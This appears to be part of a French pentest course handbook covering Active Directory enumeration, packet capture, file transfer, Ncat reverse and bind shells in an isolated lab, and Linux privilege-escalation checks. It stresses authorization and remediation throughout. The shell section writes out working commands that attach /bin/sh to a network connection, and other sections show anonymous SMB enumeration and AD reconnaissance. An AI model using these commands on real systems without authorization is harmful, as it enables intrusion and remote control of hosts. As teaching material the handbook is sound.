AD (Active Directory) centralise des identités et des droits. LDAP (Lightweight Directory Access Protocol) permet d'interroger l'annuaire. Un DC (Domain Controller) est un contrôleur de domaine. DNS (Domain Name System) résout les noms ; Kerberos utilise des tickets d'authentification et dépend notamment d'une heure correcte.

Difficulté du parcours : niveau 3. Les fiches précisent le niveau de chaque outil.

Commandes essentielles

ldapsearch pour des attributs ciblés ; rpcclient pour des requêtes utilisateurs et groupes, voir section 8.

Commandes avancées

bloodhound-python ou bloodhound-ce-python selon l'édition ; netexec, également lancé avec nxc.

Cas d'utilisation réels et transposables

Avec le compte auditeur fourni, demander les noms d'utilisateurs et leurs appartenances. Collecter ensuite les relations nécessaires pour analyser les droits d'un groupe sur une machine, puis vérifier chaque relation avant de conclure à un chemin de privilèges.

Repères pour comprendre

DN (Distinguished Name) désigne le nom complet d'un objet LDAP ; DC dans DC=lab,DC=test signifie ici Domain Component et non contrôleur de domaine. LDAPS désigne LDAP sous TLS. CE signifie Community Edition. Un groupe peut contenir un autre groupe ; les droits se déduisent des appartenances, délégations et relations effectives. Les exports BloodHound contiennent des relations sensibles. La collecte DCOnly reste active mais évite les connexions de collecte vers les postes ; elle ne fournit donc pas toutes les sessions. Références S19 à S23.

Conseil Configurer DNS et synchronisation horaire ; valider le certificat LDAP ; limiter attributs et périmètre ; protéger tickets et exports ; utiliser le collecteur correspondant à l'édition de BloodHound.

Attention Lancer All sans mesurer la collecte ; utiliser une adresse IP là où Kerberos attend un nom ; confondre groupe imbriqué et appartenance directe ; traiter un graphe comme une preuve automatique d'exploitation.

ldapsearch

Description

Interroge LDAP en précisant la base, le filtre et les attributs. -W demande le mot de passe sans l'inclure dans la commande.

Syntaxe • Shell

```
ldapsearch [options] filtre [attributs...]
```

Options les plus utiles

Option ou argument	Ce qu'il fait et quand l'utiliser
-x	Utilise une authentification simple plutôt que le mécanisme par défaut ; protéger la connexion avant d'envoyer un mot de passe.
-H URL	Choisit le serveur et le transport ; ldaps:// utilise TLS dès la connexion.
-D IDENTITE / -W	Définissent l'identité d'authentification / demandent son mot de passe au terminal.
-b BASE	Fixe le point de départ de la recherche : "DC=lab,DC=test" pour le domaine fictif.
-s base	Interroge seulement l'objet de base ; avec -b "", permet de lire les informations générales exposées par l'annuaire.
-E pr=200/noprompt	Demande des résultats par pages de 200 entrées, sans confirmation entre les pages ; le serveur doit le permettre.
FILTRE puis ATTRIBUTS	Choisit les objets et les champs retournés ; limiter les attributs évite une collecte excessive.

Exemple débutant • Shell

```
ldapsearch -x -H ldap://dc.lab.test -s base -b "" \
  namingContexts
```

Exemple intermédiaire • Shell

```
ldapsearch -x -H ldaps://dc.lab.test \
  -D "auditeur@lab.test" -W -b "DC=lab,DC=test" \
  "(&(objectCategory=person)(objectClass=user))" sAMAccountName
```

Exemple avancé • Shell

```
ldapsearch -x -H ldaps://dc.lab.test \
  -D "auditeur@lab.test" -W -b "DC=lab,DC=test" \
  -E pr=200/noprompt "(objectClass=group)" cn member
```

Résultat attendu

Le premier exemple demande les bases sans secret ; les suivants utilisent TLS et produisent des attributs d'utilisateurs ou groupes avec pagination.

Cas d'utilisation en pentest

Déterminer les comptes et les appartenances sans extraire tous les attributs de l'annuaire.

Bonnes pratiques

• Installer l'autorité de certification du laboratoire.

• Limiter la recherche à une unité d'organisation si possible.

Erreurs fréquentes

• Utiliser -x avec un mot de passe sur LDAP non chiffré.

• Désactiver la validation du certificat.

• Oublier que les grands groupes peuvent demander la gestion des plages d'attributs member.

SECTION 10 • ÉNUMÉRATION ACTIVE DIRECTORY | NIVEAU 3

bloodhound-python

Description

Collecteur Python pour BloodHound historique. Pour Community Edition, choisir bloodhound-ce-python, compatible avec cette édition.

Syntaxe • Shell

```
bloodhound-python [options]
```

Options les plus utiles

Option ou argument	Ce qu'il fait et quand l'utiliser
-h	Affiche l'aide du collecteur et les méthodes disponibles pour sa version.
-u COMPTE / -d DOMAINE	Fixent le compte de collecte et le domaine ciblé.
-ns IP	Choisit le serveur DNS utilisé pour la résolution des noms du domaine.
-dc NOM	Fixe le contrôleur de domaine par son nom complet, par exemple dc.lab.test.
-c DCOnly	Limite la méthode de collecte au contrôleur, sans collecte par connexion aux postes ; certaines relations manqueront.
--zip	Regroupe les fichiers produits dans une archive pour l'import ; ne chiffre pas leur contenu.
--use-ldaps	Demande LDAP sous TLS quand cette option est disponible ; vérifier la confiance et la configuration du laboratoire.
Choix du programme	bloodhound-python vise l'édition historique ; bloodhound-ce-python vise Community Edition. Les exports doivent correspondre.

Exemple débutant • Shell

```
bloodhound-python -h
```

Exemple intermédiaire • Shell

```
bloodhound-python -u auditeur -d lab.test \
  -ns 192.0.2.20 -dc dc.lab.test -c DCOnly --zip
```

Exemple avancé • Shell

```
bloodhound-ce-python -u auditeur -d lab.test \
  -ns 192.0.2.20 -dc dc.lab.test -c DCOnly \
  --use-ldaps --zip
```

Résultat attendu

L'aide décrit les méthodes ; la collecte demande le mot de passe si nécessaire et produit des fichiers ou une archive à importer dans l'édition correspondante.

Cas d'utilisation en pentest

Visualiser des relations de groupes et permissions pour prioriser une revue de délégations.

Bonnes pratiques

• Vérifier édition, DNS et confiance TLS avant collecte.

• Choisir les méthodes selon les relations recherchées.

Erreurs fréquentes

• Importer un export historique dans CE sans vérifier sa compatibilité.

• Supposer que DCOnly révèle toutes les sessions.

• Prendre un chemin de graphe pour une exploitation démontrée.

SECTION 10 • ÉNUMÉRATION ACTIVE DIRECTORY | NIVEAU 3

netexec et nxc

Description

Interroge plusieurs protocoles et automatise des contrôles d'accès. Ici, seules l'identification et l'énumération ciblées sont utilisées.

Syntaxe • Shell

```
nxc [options globales] protocole cible [options]
```

Options les plus utiles

Option ou argument	Ce qu'il fait et quand l'utiliser
--version	Affiche la version de NetExec ; nxc est un autre nom de lancement du programme.
-t N	Option globale définissant le nombre de travailleurs ; dans ces exemples, la placer avant le protocole.
smb / ldap	Choisit le protocole à interroger et donc la famille d'options disponible.
-u '' -p ''	Essaie une identité et un secret vides ; cela ne garantit pas une session anonyme acceptée.
--use-kcache	Utilise un cache de tickets Kerberos déjà valide ; ne crée pas un ticket à partir de rien.
--shares / --users	Demandent les partages avec le module SMB / les utilisateurs avec le module LDAP dans les exemples présentés.
--log FICHIER	Option globale pour enregistrer la sortie ; ce journal peut contenir des informations sensibles.

Exemple débutant • Shell

```
nxc --version
nxc smb 192.0.2.20
```

Exemple intermédiaire • Shell

```
nxc smb 192.0.2.20 -u '' -p '' --shares
```

Exemple avancé • Shell

```
nxc -t 1 smb dc.lab.test --use-kcache --shares
nxc -t 1 ldap dc.lab.test --use-kcache --users
```

Résultat attendu

L'outil affiche des informations SMB puis les données accessibles. Les exemples avancés nécessitent un ticket Kerberos valide pour le compte autorisé.

Cas d'utilisation en pentest

Comparer l'exposition des partages et utilisateurs avec une identité déjà authentifiée.

Bonnes pratiques

• Obtenir le ticket dans le laboratoire, par exemple avec kinit, puis contrôler klist.

• Configurer KRB5CCNAME si le cache n'est pas celui par défaut.

Erreurs fréquentes

• Lancer un ensemble de tentatives d'authentification et verrouiller des comptes.

• Croire que l'outil demande toujours le mot de passe.

• Ajouter des modules d'exécution à une collecte en lecture.

NIVEAU 3 • INTERMÉDIAIRE

11 Capture réseau

Objectif

Observer les échanges autorisés et séparer le trafic capturé de son interprétation.

Explication simple

Une capture enregistre des paquets. PCAP (Packet Capture) et PCAPNG (Packet Capture Next Generation) sont des formats de fichiers. Un filtre de capture limite ce qui est enregistré ; un filtre d'affichage limite ce qui est montré après décodage. Ils n'utilisent pas la même syntaxe.

Difficulté du parcours : niveau 3. Les fiches précisent le niveau de chaque outil.

Commandes essentielles

tcpdump pour une capture ciblée ; tshark pour extraire des champs ; Wireshark pour une analyse visuelle.

Commandes avancées

Rotation de fichiers, filtres composés et comparaison entre HTTP, DNS et SMB.

Cas d'utilisation réels et transposables

HTTP : tcp port 80. DNS : port 53, incluant TCP et UDP. SMB moderne : tcp port 445 ; certains environnements anciens utilisent aussi TCP 139. Dans Wireshark, afficher respectivement http, dns ou smb2, ce dernier couvrant la famille SMB2/SMB3 décodable.

Repères pour comprendre

Une capture ne contient que ce que le point d'observation reçoit. TLS et le chiffrement SMB protègent les charges utiles ; les ports et métadonnées restent parfois visibles. Le DNS chiffré ne se limite pas au port 53. La capture peut contenir des données personnelles ou secrets : limiter les extraits aux éléments utiles. Références S24 à S26.

Conseil Choisir la bonne interface ; limiter durée et volume ; capturer sous une identité adaptée puis analyser sans root ; protéger et minimiser les captures.

Attention Attendre le contenu HTTPS en clair ; confondre filtre tcp port 80 et filtre http ; lancer toute l'interface graphique avec sudo ; capturer tout un réseau sans nécessité.

SECTION 11 • CAPTURE RÉSEAU | NIVEAU 3

tcpdump

Description

Capture ou lit des paquets avec des filtres réseau. -n évite la résolution des noms et -nn celle des noms de ports.

Syntaxe • Shell

```
tcpdump [options] 'filtre'
```

Options les plus utiles

Option ou argument	Ce qu'il fait et quand l'utiliser
-i INTERFACE	Choisit où capturer ; une mauvaise interface peut produire une capture vide ou hors périmètre.
-n / -nn	Évite les noms d'hôtes / évite aussi les noms de services associés aux ports.
-c N	Arrête la capture après N paquets reçus correspondant au filtre ; ce n'est pas une limite de durée.
-s 0	Demande une longueur de capture assez grande pour conserver les paquets complets ; peut collecter des données sensibles.
-w FICHIER / -r FICHIER	Écrit les paquets dans une capture / relit un fichier existant hors ligne.
-C TAILLE / -W N	Crée une rotation par taille approximative en millions d'octets / borne le nombre de fichiers avec -C.
FILTRE entre quotes	Limite ce qui est capturé, par exemple "host 192.0.2.20 and tcp port 80" ; syntaxe distincte de Wireshark.

Exemple débutant • Shell

```
sudo tcpdump -i eth0 -nn -c 20 'port 53'
```

Exemple intermédiaire • Shell

```
sudo tcpdump -i eth0 -nn -s 0 -c 100 \
  -w http.pcap 'host 192.0.2.20 and tcp port 80'
```

Exemple avancé • Shell

```
sudo tcpdump -i eth0 -nn -s 0 -C 10 -W 3 \
  -w smb.pcap 'host 192.0.2.20 and tcp port 445'
```

Résultat attendu

Des paquets DNS s'affichent ou sont enregistrés. -C 10 et -W 3 bornent une rotation à environ trois fichiers de 10 millions d'octets, pas une durée.

Cas d'utilisation en pentest

Observer une résolution de nom ou vérifier les échanges SMB d'un test planifié.

Bonnes pratiques

• Arrêter avec Ctrl+C à la fin du créneau.

• Relire avec tcpdump -nn -r fichier.pcap.

Erreurs fréquentes

• Utiliser -s 0 et capturer inutilement toutes les charges utiles.

• Oublier qu'une rotation peut écraser les plus anciens paquets.

SECTION 11 • CAPTURE RÉSEAU | NIVEAU 3

tshark

Description

Version en ligne de commande de l'analyseur Wireshark, adaptée au décodage et à l'export de champs.

Syntaxe • Shell

```
tshark [options]
```

Options les plus utiles

Option ou argument	Ce qu'il fait et quand l'utiliser
-r FICHIER	Lit une capture existante au lieu d'observer le réseau en direct.
-i INTERFACE	Sélectionne l'interface d'une capture en direct, si les droits le permettent.
-f FILTRE / -Y FILTRE	Filtre la capture avant enregistrement / filtre l'affichage après décodage ; les syntaxes sont différentes.
-T fields	Produit une sortie par champs, adaptée à un tableau ou à un traitement texte.
-e CHAMP	Choisit un champ à afficher ; répéter -e pour plusieurs colonnes.
-G fields	Liste les champs disponibles dans la version installée ; utile si un nom n'est pas reconnu.
-d tcp.port==8000,http	Force le décodage HTTP sur ce port pour une analyse contrôlée ; n'effectue pas de déchiffrement TLS.

Exemple débutant • Shell

```
tshark -r capture.pcapng -Y dns
```

Exemple intermédiaire • Shell

```
tshark -r capture.pcapng -Y http.request \
  -T fields -e ip.src -e http.host -e http.request.uri
```

Exemple avancé • Shell

```
tshark -r capture.pcapng -Y smb2 \
  -T fields -e frame.time_epoch -e ip.src -e smb2.cmd
```

Résultat attendu

Les paquets décodés ou les champs choisis sont affichés. -Y filtre l'affichage ; -f serait un filtre de capture.

Cas d'utilisation en pentest

Créer une chronologie de requêtes web ou commandes SMB à partir d'une capture déjà autorisée.

Bonnes pratiques

• Analyser hors ligne sans privilèges administrateur.

• Vérifier les champs disponibles avec tshark -G fields.

Erreurs fréquentes

• Placer dns dans -f comme un filtre d'affichage.

• Interpréter un champ vide comme une absence de trafic.

• Attendre les URI d'un HTTPS non déchiffré.

SECTION 11 • CAPTURE RÉSEAU | NIVEAU 3

wireshark

Description

Analyseur graphique permettant de suivre les échanges, décoder les protocoles et comparer les paquets.

Syntaxe • Shell

```
wireshark [options] [fichier]
```

Options les plus utiles

Option ou argument	Ce qu'il fait et quand l'utiliser
-r FICHIER	Ouvre une capture enregistrée ; convient à l'analyse hors ligne sans privilèges de capture.
-Y FILTRE	Applique un filtre d'affichage initial, par exemple "dns" ; les autres paquets restent dans le fichier.
-i INTERFACE	Présélectionne une interface pour une capture autorisée.
-f FILTRE	Définit un filtre de capture ; n'utilise pas la même syntaxe que -Y.
-k	Démarre immédiatement la capture ; ne pas l'ajouter lors d'une simple ouverture de fichier.
Opérateurs logiques	Dans -Y, && signifie « et » et || signifie « ou » ; garder le filtre entre guillemets pour éviter l'interprétation par Bash.

Exemple débutant • Shell

```
wireshark capture.pcapng
```

Exemple intermédiaire • Shell

```
wireshark -r capture.pcapng -Y "dns"
```

Exemple avancé • Shell

```
wireshark -r capture.pcapng \
  -Y "ip.addr == 192.0.2.20 && (http || smb2)"
```

Résultat attendu

La capture s'ouvre avec les paquets correspondant au filtre. Les autres paquets restent présents dans le fichier.

Cas d'utilisation en pentest

Suivre un flux de test et corréler une requête avec sa réponse.

Bonnes pratiques

• Vérifier les interfaces et permissions de capture séparément.

• Masquer les secrets avant une capture d'écran du résultat.

Erreurs fréquentes

• Penser qu'un filtre d'affichage supprime les paquets du fichier.

• Lancer l'interface comme root.

• Confondre un paquet retransmis avec une nouvelle action applicative.

NIVEAU 3 • INTERMÉDIAIRE

12 Transfert de fichiers

Objectif

Déplacer des fichiers entre machines de laboratoire tout en contrôlant intégrité, destination et exposition.

Explication simple

SSH (Secure Shell) fournit un canal chiffré et une authentification du serveur. SCP (Secure Copy) désigne l'outil scp ; les versions OpenSSH récentes utilisent SFTP (SSH File Transfer Protocol) par défaut. Un serveur HTTP temporaire et nc conviennent à une démonstration isolée, mais ne protègent pas seuls les données.

Difficulté du parcours : niveau 3. Les fiches précisent le niveau de chaque outil.

Commandes essentielles

scp et rsync pour les transferts sous SSH ; curl et wget, fiches en section 7, pour les téléchargements.

Commandes avancées

Serveur Python lié à une adresse précise, synchronisation simulée et transfert brut Netcat.

Cas d'utilisation réels et transposables

Envoyer notes.txt avec scp ; vérifier sha256sum aux deux extrémités. Servir uniquement un dossier export/ avec Python, puis télécharger depuis la seconde machine avec wget. Comparer les empreintes avant d'utiliser le fichier.

Repères pour comprendre

Une empreinte SHA-256 (Secure Hash Algorithm, 256 bits) aide à vérifier que deux contenus sont identiques. Elle n'authentifie pas la source si l'empreinte et le fichier proviennent du même canal non fiable. Les transferts de laboratoire ne doivent pas inclure de secrets réels. Le nom analyste désigne ici un compte existant sur les deux machines. Références S27 à S30.

Conseil Vérifier la clé du serveur SSH par un canal fiable ; limiter le dossier partagé ; nommer explicitement le fichier reçu ; arrêter tout serveur temporaire.

Attention Désactiver la vérification des clés SSH ; lancer http.server depuis son dossier personnel ; croire que compression signifie chiffrement ; confondre les variantes de nc.

SECTION 12 • TRANSFERT DE FICHIERS | NIVEAU 2

scp

Description

Copie un fichier via SSH en vérifiant l'identité du serveur selon la configuration OpenSSH.

Syntaxe • Shell

```
scp [options] source destination
```

Options les plus utiles

Option ou argument	Ce qu'il fait et quand l'utiliser
-P PORT	Choisit le port du serveur SSH : -P 2222. La majuscule est indispensable.
-p	Conserve les dates et modes pris en charge ; n'a aucun rapport avec le choix du port.
-i CLE	Choisit le fichier de clé privée utilisé pour l'authentification ; protéger ce fichier.
-r	Copie récursivement un dossier ; examiner son contenu et ses liens avant le transfert.
-v	Affiche des détails de connexion pour diagnostiquer un refus ou une erreur de configuration.
SOURCE DESTINATION	Précise le sens de copie ; compte@hote:chemin désigne un emplacement distant.

Exemple débutant • Shell

```
scp notes.txt analyste@192.0.2.20:~/lab/
```

Exemple intermédiaire • Shell

```
scp -r preuves/ analyste@192.0.2.20:~/lab/
```

Exemple avancé • Shell

```
scp -P 2222 -i ~/.ssh/id_ed25519 \
  notes.txt analyste@192.0.2.20:~/lab/
```

Résultat attendu

Le transfert aboutit ou une erreur d'authentification, de confiance ou de chemin est signalée. -P choisit le port SSH.

Cas d'utilisation en pentest

Transférer un résultat autorisé vers une machine d'analyse en conservant un canal chiffré.

Bonnes pratiques

• Comparer l'empreinte de la clé du serveur lors du premier contact.

• Vérifier l'intégrité du fichier après transfert.

Erreurs fréquentes

• Confondre -P, port, et -p, conservation des dates et modes.

• Forcer l'ancien protocole SCP sans besoin.

• Accepter aveuglément une clé modifiée.

SECTION 12 • TRANSFERT DE FICHIERS | NIVEAU 3

rsync

Description

Synchronise des fichiers en transférant les différences selon les options choisies. Le slash final de la source change la disposition obtenue.

Syntaxe • Shell

```
rsync [options] source destination
```

Options les plus utiles

Option ou argument	Ce qu'il fait et quand l'utiliser
-a	Mode archive : copie récursive et conservation de nombreux attributs ; n'inclut pas automatiquement toutes les ACL et attributs étendus.
-v	Décrit les opérations et fichiers concernés.
-n	Simule le transfert sans appliquer les modifications ; à utiliser avant une opération importante.
-c	Compare les contenus par sommes de contrôle pour sélectionner les différences ; demande davantage de lecture.
-e ssh	Choisit SSH comme moyen de connexion au serveur distant.
--itemize-changes	Décrit précisément les attributs ou contenus qui diffèrent.
--delete	Supprime à destination les éléments absents de la source ; peut effacer des données, donc simuler et vérifier d'abord.
SOURCE/	Le slash final signifie « contenu du dossier source » ; sans lui, la disposition du dossier copié peut différer.

Exemple débutant • Shell

```
rsync -av notes/ copie-notes/
```

Exemple intermédiaire • Shell

```
rsync -av -e ssh notes/ analyste@192.0.2.20:~/lab/notes/
```

Exemple avancé • Shell

```
rsync -avnc --itemize-changes \
  -e ssh notes/ analyste@192.0.2.20:~/lab/notes/
```

Résultat attendu

Avec notes/, le contenu est copié. -n simule, -c compare les contenus par sommes de contrôle, et les différences sont détaillées.

Cas d'utilisation en pentest

Mettre à jour un dossier de résultats sans renvoyer systématiquement tous les fichiers.

Bonnes pratiques

• Simuler avant une opération importante.

• Vérifier le slash final et les droits du compte distant.

Erreurs fréquentes

• Ajouter --delete sans mesurer les suppressions.

• Croire que -a préserve automatiquement toutes les ACL et attributs étendus.

• Supposer que la simulation valide tous les effets futurs.

SECTION 12 • TRANSFERT DE FICHIERS | NIVEAU 2

python3 -m http.server

Description

Démarre un serveur HTTP simple pour un dossier. Ce n'est pas un serveur de production ni un mécanisme d'authentification.

Syntaxe • Shell

```
python3 -m http.server [port] [options]
```

Options les plus utiles

Option ou argument	Ce qu'il fait et quand l'utiliser
-m http.server	Demande à Python d'exécuter son module de serveur HTTP ; -m appartient à Python.
PORT	Argument facultatif du module ; 8000 est le port usuel par défaut.
--bind ADRESSE	Restreint l'écoute à une adresse locale ; 127.0.0.1 limite l'accès à la machine elle-même.
--directory DOSSIER	Choisit le dossier à servir au lieu du dossier courant ; vérifier aussi les liens symboliques qu'il contient.
timeout 120s	Programme placé devant Python pour borner la durée ; ce n'est pas une option de http.server.

Exemple débutant • Shell

```
python3 -m http.server 8000 --bind 127.0.0.1
```

Exemple intermédiaire • Shell

```
python3 -m http.server 8000 --bind 192.0.2.10 \
  --directory ~/lab/export
```

Exemple avancé • Shell

```
timeout 120s python3 -m http.server 8000 \
  --bind 192.0.2.10 --directory ~/lab/export
```

Résultat attendu

Le dossier est servi sur l'adresse choisie ; timeout arrête le processus après deux minutes. L'adresse doit être assignée localement.

Cas d'utilisation en pentest

Distribuer un fichier de démonstration à une seconde machine du réseau isolé.

Bonnes pratiques

• Ne placer dans export que les fichiers à partager.

• Examiner les liens symboliques, qui peuvent exposer des cibles extérieures au dossier.

Erreurs fréquentes

• Omettre --bind et écouter sur toutes les interfaces.

• Servir une clé privée ou un dossier personnel.

• Croire que HTTP chiffre le transfert.

SECTION 12 • TRANSFERT DE FICHIERS | NIVEAU 2

nc

Description

Netcat transfère des octets sur une connexion. Les options diffèrent selon OpenBSD netcat, netcat-traditional et Ncat.

Syntaxe • Shell

```
nc [options] [hote] [port]
```

Options les plus utiles

Option ou argument	Ce qu'il fait et quand l'utiliser
-h	Affiche l'aide de la variante installée ; indispensable avant de reprendre une commande trouvée ailleurs.
-l	Écoute une connexion entrante au lieu de se connecter ; la syntaxe d'adresse et de port dépend de la variante.
-v	Affiche des indications de connexion pour faciliter le diagnostic.
-z	Teste l'établissement de connexion sans transfert applicatif normal ; sert à vérifier un port autorisé.
-w SECONDES	Règle un délai réseau selon la variante ; avec netcat-openbsd, ne borne pas à lui seul une attente en mode écoute.
-N	Avec netcat-openbsd, ferme le côté émission à la fin de l'entrée ; utile pour terminer un transfert de fichier.
< et >	Lisent / écrivent un fichier via Bash ; le transfert reste sans chiffrement ni authentification dans ces exemples.

Exemple débutant • Shell

```
nc -h
```

Exemple intermédiaire • Shell

```
nc -vz -w 3 192.0.2.20 22
```

Exemple avancé • Shell

```
# Récepteur, variante OpenBSD :
nc -l 192.0.2.20 9000 > recu.txt
# Émetteur, autre terminal ou machine :
nc -N 192.0.2.20 9000 < notes.txt
```

Résultat attendu

-z teste une connexion sans échange applicatif normal ; -N, propre à certaines variantes, termine l'envoi à la fin du fichier.

Cas d'utilisation en pentest

Démontrer un transfert brut entre deux Linux isolés avant de comparer avec scp.

Bonnes pratiques

• Lire nc -h avant de reprendre la syntaxe.

• Vérifier SHA-256 et limiter l'accès au port avec le réseau de laboratoire.

Erreurs fréquentes

• Attendre chiffrement ou authentification.

• Utiliser nc -e /bin/sh avec netcat-openbsd sous Debian : l'exécution de programme n'y est pas proposée.

• Oublier que > écrase le fichier de réception.

NIVEAU 4 • AVANCÉ

13 Reverse shells et bind shells

Objectif

Comprendre le sens d’une connexion qui transporte un shell et réaliser une démonstration Linux vers Linux strictement contrôlée.

Explication simple

Un reverse shell, ou shell inversé, est lancé sur B et se connecte au poste A qui attend. Un bind shell, ou shell en écoute, attend sur B que A se connecte. Dans les deux cas, le programme sur B exécute les commandes avec les droits de son propre compte. Une connexion ne procure pas automatiquement root.

Difficulté du parcours : niveau 4. Les fiches précisent le niveau de chaque outil.

Commandes essentielles

Lecture des ports avec ss ; test de connexion avec nc ; distinction entre adresse d’écoute et adresse de connexion.

Commandes avancées

Démonstration avec Ncat, binaire ncat fourni par le projet Nmap, et exécution explicite de /bin/sh.

Cas d’utilisation réels et transposables

Deux Linux isolés : A, poste opérateur 192.0.2.10 ; B, machine d’exercice 192.0.2.20. Lancer les deux extrémités depuis les consoles auxquelles on a déjà accès. Exécuter seulement id et pwd dans le shell obtenu puis exit.

Repères pour comprendre

Préconditions : autorisation explicite, réseau isolé, instantané des machines, Ncat sur A et B, port choisi libre et filtrage limité aux deux hôtes. Un shell transporté ainsi n’est pas forcément un PTY (Pseudo-Terminal, pseudo-terminal) : contrôle des travaux et programmes interactifs peuvent mal fonctionner. Ces exemples ne sont ni chiffrés ni authentifiés. Pour administrer réellement une machine, utiliser SSH. Après exit, vérifier ss -lnt sur A et B ; interrompre les écouteurs restants avec Ctrl+C et supprimer uniquement les fichiers d’exercice. Référence S31.

Conseil Employer un compte sans privilèges ; restreindre l’adresse d’écoute et le pair autorisé ; ne pas exposer le port sur Internet ; limiter la durée ; fermer le processus après l’exercice.

Attention Confondre l’adresse de A et celle de B ; utiliser une adresse de tunnel non joignable ; attendre les raccourcis d’un terminal complet ; croire qu’une restriction d’adresse authentifie le pair.

SECTION 13 • REVERSE SHELLS ET BIND SHELLS | NIVEAU 4

ncat en laboratoire

Description

Ncat peut relier les entrées et sorties d'un programme à une connexion. --exec exécute le programme choisi sur la machine où cette option est présente.

Syntaxe • Shell

```
ncat [options] [adresse] [port]
```

Options les plus utiles

Option ou argument	Ce qu'il fait et quand l'utiliser
-l	Met Ncat en écoute sur l'adresse locale indiquée. Sans -l, Ncat se connecte à l'adresse distante et au port fournis.
--allow IP	En écoute, limite l'accès à cette adresse IP ; ne chiffre pas la connexion.
--exec PROGRAMME	Lance le programme sur la machine portant cette option et relie ses entrées/sorties à la connexion.
timeout 120s	Commande externe : arrête le processus après 120 secondes.

Exemple débutant • Shell

```
# Deux terminaux sur le même Linux, sans shell :
ncat -l 127.0.0.1 4444
# Dans l'autre terminal :
ncat 127.0.0.1 4444
```

Exemple intermédiaire • Shell

```
## Shell inversé : démarrer A, puis B
# A :
timeout 120s ncat -l 192.0.2.10 4444 --allow 192.0.2.20
# B :
ncat 192.0.2.10 4444 --exec /bin/sh
```

Exemple avancé • Shell

```
## Shell en écoute : démarrer B, puis A
# B :
timeout 120s ncat -l 192.0.2.20 4445 \
  --allow 192.0.2.10 --exec /bin/sh
# A :
ncat 192.0.2.20 4445
```

Résultat attendu

Le premier exercice échange du texte. Les deux autres exécutent sur B les commandes saisies depuis A. id confirme l'identité ; exit ferme le shell.

Cas d'utilisation en pentest

Comprendre les flux entrants et sortants dans un exercice autorisé, sans mécanisme de persistance.

Bonnes pratiques

• Vérifier les adresses affectées et les ports libres.

• Limiter la session à deux minutes et confirmer la fermeture.

Erreurs fréquentes

• Lancer --exec avec root.

• Confondre nc et ncat.

• Interpréter --allow comme une authentification ou un chiffrement.

NIVEAU 4 • AVANCÉ

14 Escalade de privilèges Linux

Objectif

Identifier les conditions qui permettraient à un compte limité d'obtenir des droits plus élevés, puis proposer une correction.

Explication simple

L'escalade de privilèges dépend d'un chemin précis : un acteur possède un droit sur un objet qu'un processus plus privilégié utilise. Un simple indicateur ne prouve pas ce chemin. Il faut relier identité, permissions, contexte d'exécution et effet possible.

Difficulté du parcours : niveau 4. Les fiches précisent le niveau de chaque outil.

Commandes essentielles

sudo -l ; inspection des permissions avec find ; capacités avec getcap.

Commandes avancées

Collecte orientée avec LinPEAS ; observation temporelle avec pspy ; corrélation des scripts, services et tâches planifiées.

Cas d'utilisation réels et transposables

Cas 1 : root exécute /opt/backup.sh, modifiable par analyste : risque d'exécution privilégiée. Cas 2 : un interpréteur dispose de cap_setuid : examiner comment cette capacité peut modifier l'identité. Cas 3 : sudo autorise un éditeur en root sans restriction : vérifier ses fonctionnalités d'exécution et limiter la règle.

Repères pour comprendre

Une capacité Linux découpe certains pouvoirs de root : cap_net_bind_service autorise des ports privilégiés ; cap_setuid et cap_dac_read_search peuvent présenter des risques plus larges selon le binaire. Pour les services, relever version, paquet, configuration et correctifs distribués : Debian peut rétroporter une correction sans changer la version amont apparente. Pour une preuve de concept de modification, définir séparément l'autorisation, l'instantané et le retour arrière. Ce chapitre reste centré sur la découverte et la validation non destructive. Références S32 à S35.

Conseil Prouver d'abord la configuration sans la modifier ; examiner tous les dossiers parents ; conserver le contexte de montage et d'isolation ; proposer une correction et un nouveau contrôle.

Attention Exécuter aveuglément une suggestion d'outil ; lancer un exploit noyau sur un service réel ; confondre SUID normal et anomalie ; supposer qu'un numéro de version prouve une faille non corrigée.

SECTION 14 • VALIDATION DES CONSTATS

Mauvaises configurations • démontrer et corriger

Observation	Pourquoi cela peut être exploitable	Validation et correction
Script root modifiable	Un compte limité peut changer le programme exécuté ensuite avec les privilèges de root.	Relever propriétaire, ACL, parents et unité de lancement. Retirer l'écriture aux comptes non autorisés ; réexaminer les dépendances.
SUID sur un outil inhabituel	Un exécutable peut fonctionner avec l'identité de son propriétaire et exposer des fonctions dangereuses.	Vérifier sa provenance, son comportement et les restrictions de montage. Retirer le bit si inutile ; comparer au paquet attendu.
sudo sur un éditeur ou interpréteur	Le programme peut permettre d'exécuter des commandes avec l'identité autorisée par sudo.	Lire la règle exacte et les fonctions du programme. Remplacer par une délégation limitée à une opération nécessaire.
Capacité étendue sur un interpréteur	Certains pouvoirs de root peuvent être disponibles sans bit SUID.	Vérifier la capacité, ses drapeaux et le contexte. Retirer les capacités inutiles et employer un service spécialisé limité.
Dossier de tâche modifiable	Même un fichier non modifiable peut parfois être remplacé si son dossier l'autorise.	Examiner chaque parent, le Sticky Bit et les ACL. Protéger l'arborescence, pas seulement le fichier final.
Secret lisible dans une configuration	Le secret peut donner accès à un autre service ou compte selon sa portée.	Prouver l'exposition avec un extrait masqué. Restreindre l'accès et faire révoquer ou renouveler le secret concerné.

Conseil Un constat solide relie une identité, un droit, un objet utilisé et un effet possible. Conserver la preuve minimale et distinguer configuration observée, impact plausible et impact démontré.

SECTION 14 • ESCALADE DE PRIVILÈGES LINUX | NIVEAU 3

sudo -l

Description

Liste les actions que la politique sudo autorise au compte courant. L'accès peut demander son mot de passe.

Syntaxe • Shell

```
sudo -l [options]
```

Options les plus utiles

Option ou argument	Ce qu'il fait et quand l'utiliser
-l	Liste les commandes que la politique autorise au compte courant ; peut demander son mot de passe.
-ll	Produit une présentation plus détaillée de la liste ; répète l'option -l.
-n	Interdit toute demande interactive ; échoue si un mot de passe est nécessaire, sans prouver une absence de droits.
-u COMPTE avec -l	Examine les autorisations pour une identité cible donnée selon la politique ; ne signifie pas « se connecter comme ce compte ».
> et 2>	Enregistrent séparément la sortie et les erreurs ; appartiennent à Bash, pas à sudo.

Exemple débutant • Shell

```
sudo -l
```

Exemple intermédiaire • Shell

```
sudo -ll
```

Exemple avancé • Shell

```
sudo -n -l > droits-sudo.txt 2> erreurs-sudo.txt
```

Résultat attendu

Les comptes cibles, commandes et options autorisés sont affichés. -n n'interroge pas le terminal et échoue si un mot de passe est nécessaire.

Cas d'utilisation en pentest

Repérer une délégation excessive, un chemin ambigu ou un programme capable de lancer d'autres commandes.

Bonnes pratiques

• Lire aussi RunAs, NOPASSWD et les contraintes d'arguments.

• Vérifier les permissions du binaire et de ses dépendances.

Erreurs fréquentes

• Exécuter une commande autorisée avant d'en comprendre les effets.

